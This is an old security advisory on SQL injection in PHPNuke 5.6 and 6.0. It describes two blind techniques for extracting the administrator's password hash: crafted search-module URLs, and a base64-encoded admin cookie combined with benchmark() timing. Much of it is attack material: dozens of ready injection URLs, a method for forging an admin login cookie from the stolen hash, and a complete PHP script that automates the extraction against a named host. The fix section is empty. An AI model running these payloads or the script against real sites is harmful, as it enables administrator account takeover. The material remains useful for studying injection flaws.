21th Feb 2003 [SBWID-6008]
COMMAND
PHPNuke SQL Injection
SYSTEMS AFFECTED
PHPnuke 6.0 & 5.6
PROBLEM
Vulnerability discovered by David Zentner [david@cgishield.com] :
http://CGIshield.com
How to steal the password hash of the Admin use
===============================================
PHPnuke, a widely used open-source web portal system, has been found to
contain a remotely exploitable SQL injection bug, which allows stealing
of the administrator's password hash. With the hash, an attacker may
login and gain complete control of the administrative side of the
system.
The bug exists in the search engine included with PHPnuke
(/modules/search/index.php). In this file, a database call is made
without placing quotes around a user supplied variable. Since the
database call selects information from the user table, a hacker can use
a 'select fish' attack. In this type of attack, the hacker can
determine the value of a single character in any given column in the
table specified in the statement. The column of most importance to a
hacker would be the one holding the administrators encrypted password.
Since the passwords in PHPnuke (and many other programs) are an md5
hash, there are only 16 possible values for each character and 32 total
characters to expect. Select fishing involves utilizing the MySQL mid()
function to return true if the character is guessed correctly, thereby
returning a set of results to the screen. If the results show up on the
screen, the attacker can determine that the character is guessed
correctly, and then proceed to guess the next character in the
sequence. Any md5 password hash can be fished in less than 512 (32*16)
guesses. When done by hand, this can take anywhere from 20-30 minutes,
but when the process is automated with a program it can take only a few
minutes. One such program is included at the end of this document.
The first url the hacker would try could look like this:
http://site/modules.php?name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=6&type=stories
When phpnuke queries the mysql database, the query then looks like
this:
"select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
s.bodytext, a.url, s.comments, s.topic from nuke_stories s, nuke_authors a
where s.aid=a.aid AND (s.title LIKE '%%' OR s.hometext LIKE '%%' OR
s.bodytext LIKE '%%' OR s.notes LIKE '%%') AND TO_DAYS(NOW()) - TO_DAYS
(time) <= 1 or mid(a.pwd,1,1)=6 ORDER BY s.time DESC LIMIT 0,10"
It would check the admin table to see if the first character in the pwd
(password) column is equal to a value of '6'. If any admin password
begins with a value of '6', stories written by that admin will appear
on the screen. If no admin password begins with a value of '6', or the
admin has written no stories, then the screen will list no story
results.
example admin's hash: 6a204bd89f3c8348afd5c77c717a097a
will the admin's stories show with the following urls called?
(*note* in version 6.0 a check for '()' in any GET variable was added
on line 36 of mainfile.php , therefore the following data strings will
only work via POST in version 6.0 or later. The exploit included at the
end of this file works via POST.)
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=1&type=stories NO
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=2&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=3&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=4&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=5&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=6&type=stories Yes
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=7&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=8&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=9&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=0&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(97)&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(98)&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(99)&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(100)&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(101)&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(102)&type=stories No
</fotn>
To guess the next character in the sequence the attacker could use the
following url:
http://site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,2,1)=1&type=stories
and so forth, until all values are determined. When guessing values
from a- f, these values normally would need to be surrounded by single
quotes. This presents a problem for PHP and other applications which
normally escape quotes. To get around this problem, one could use the
mysql char() function which will output any ascii value, without using
quotes. So to guess the letter 'a' the hacker could use char(97). Here
is an example url guessing the 3rd character in the pwd column as 'a':
http://site/modules.php?name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,3,1)=char(97)&type=stories
Now that the attacker determines the password hash of the admin user,
he can base64 encode the hash (which is what phpnuke expects) and place
it in a netscape cookie file, and gain access to the target site. If
the admin's password is 'admin' and the admin's username is 'admin'
then you would take the value 'admin:admin:' and base64 encode it, put
it in the cookie (the variable of the encoded values is itself 'admin')
the end result would look similar to this (on localhost):
lang
english
localhost/html/
1024
1809931264
29595766
4083407360
29522340
*
admin
YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
localhost/html/
1024
3858912640
29529535
3993654000
29523500
*
How to steal the password hash of the Admin user method #2
==========================================================
PHPnuke, a widely used open-source web portal system, has been found to
contain a remotely exploitable SQL injection bug, which allows stealing
of the administrator's password hash. With the hash, an attacker may
login and gain complete control of the administrative side of the
system.
The bug exists due to the format of the admin user's cookies. In
PHPnuke the admin credentials are stored in the form:
'username:password:', with the password md5 encrypted, and the entire
string base64 encoded.
Everytime a webpage is requested on the site running PHPnuke, the
'admin' cookie variable (which contains the username/password value) is
sent to the script, and everytime its validity is checked in the
auth.php file. Here is the key code in auth.php which does the check:
// start code
if(isset($admin) && $admin != "") {
$admin = base64_decode($admin);
$admin = explode(":", $admin);
$aid = "$admin[0]";
$pwd = "$admin[1]";
$admlanguage = "$admin[2]";
if ($aid=="" || $pwd=="") {
$admintest=0;
echo "<html>\n";
echo "<title>INTRUDER ALERT!!!</title>\n";
echo "<body bgcolor=\"#FFFFFF\" text=\"#000000\">\n\n<br><br><br>\n\n";
echo "<center><img src=\"images/eyes.gif\" border=\"0\"><br><br>\n";
echo "<b>Get Out!
</b></center>\n";
echo "</body>\n";
echo "</html>\n";
exit;
}
$result=sql_query("select pwd from ".$prefix."_authors where
aid='$aid'", $dbi);
if(!$result) {
echo "Selection from database failed!";
exit;
} else {
list($pass)=sql_fetch_row($result, $dbi);
if($pass == $pwd && $pass != "") {
$admintest = 1;
}
}
}
// end code
As you notice, the $admin variable is first base64_decoded(), and split
into the two variables $aid and $pwd. The security problem lies in the
fact that when a string containing one or more single quote is base64
encoded, and submitted to the site, it will bypass PHP's automatic
escaping of GPC variables. Since no additional checks are done to
defend against an sql injection, an attacker is free to modify the
select query and determine the admin password hash.
A more advanced version of the select fish attack must take place. This
is because in order to determine a certain character value, the script
has to respond in different way if the character guess is correct. This
is not naturally possible in PHPnuke, but it can be accomplished using
mySQL's benchmark() to give a delayed page response when the character
is guessed correctly.
Now that you are aware of where the sql injection attack occurs, let me
show the process of how this attack would work by modifying the select
query:
(`select pwd from ".$prefix."_authors where aid='$aid'`)
lets say the 'admin' user has a password hash of
'21232f297a57a5a743894a0e4a801fc3'. When we modify the query to check
if the first digit of the 'admin' password hash is equal to '1', we get
the following result:
mysql> select pwd from nuke_authors where aid='admin'
and if(mid(pwd,1,1)=1,benchmark(10000000,encode("AAAA","AAAA")),1)/*;
+----------------------------------+
| pwd |
+----------------------------------+
| 21232f297a57a5a743894a0e4a801fc3 |
+----------------------------------+
1 row in set (0.00 sec)
The small query execution time signifies an incorrect guess. Look what
happens when the attacker correctly guesses that the first character of
the 'admin' password hash is '2':
mysql> select pwd from nuke_authors where aid='admin' and if(mid(pwd,1,1)
=2,benchmark(20000000, encode("AAAA","AAAA")),1)/*;
Empty set (11.11 sec)
The attacker can prolong the execution time to his or her liking when a
correct guess occurs by raising the first argument to the benchmark()
function. By the different server response time , an attacker can
determine a the admin's password hash one character at a time.
<?php
########## PHPnuke Auto-SelectFish Attacker
########## David@cgishield.com
########## works on phpnuke 5.6 and 6.0
// To use this program, simply upload it to a php enabled webserver, and
execute
// If php times out before the whole password hash is determined,
// adjust the maximum script execution time in php.ini
// Also, replace following with correct values:
$server="www.phpnuke.org";
$script="/modules.php";
// Title of a story created specifically by the admin who is being hacked.
$data_to_match="Revolution";
$admin_account_name="nukelite";
$beginchar="1";
$endchar="33";
$admin_account_name=urlencode($admin_account_name);
$data_to_match=urlencode($data_to_match);
$checkchar[0]="char(48)";
$checkchar[1]="char(49)";
$checkchar[2]="char(50)";
$checkchar[3]="char(51)";
$checkchar[4]="char(52)";
$checkchar[5]="char(53)";
$checkchar[6]="char(54)";
$checkchar[7]="char(55)";
$checkchar[8]="char(56)";
$checkchar[9]="char(57)";
$checkchar[a]="char(97)";
$checkchar[b]="char(98)";
$checkchar[c]="char(99)";
$checkchar[d]="char(100)";
$checkchar[e]="char(101)";
$checkchar[f]="char(102)";
for($i=$beginchar;$i<$endchar;$i++){
reset($checkchar);
while (list($i2, $i2val) = @each($checkchar)){
$vars="name=Search&query=$data_to_match&topic=&category=&author=$admin_acco
unt_name&days=1000+and+mid(a.pwd,$i,1)=$checkchar[$i2]&type=stories";
$data=sendToHost("$server",'post',"$script","$vars");
if (eregi("No matches found to your query","$data")){
}
else{
echo("<br>$i= $i2"); flush();break;}
}
}
function sendToHost($host,$method,$path,$data,$useragent=1)
{
$method = strtoupper($method);
$fp = fsockopen($host,80);
fputs($fp, "$method $path HTTP/1.1\n");
fputs($fp, "Host: $host\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
fputs($fp, "Content-length: " . strlen($data) . "\n");
if ($useragent)
fputs($fp, "User-Agent: Mozilla\n");
fputs($fp, "Connection: close\n\n");
if ($method == 'POST')
fputs($fp, $data);
while (!feof($fp))
$buf .= fgets($fp,128);
fclose($fp);
for($slow=0;$slow<100;$slow++){}
return $buf;
}
?>
SOLUTION
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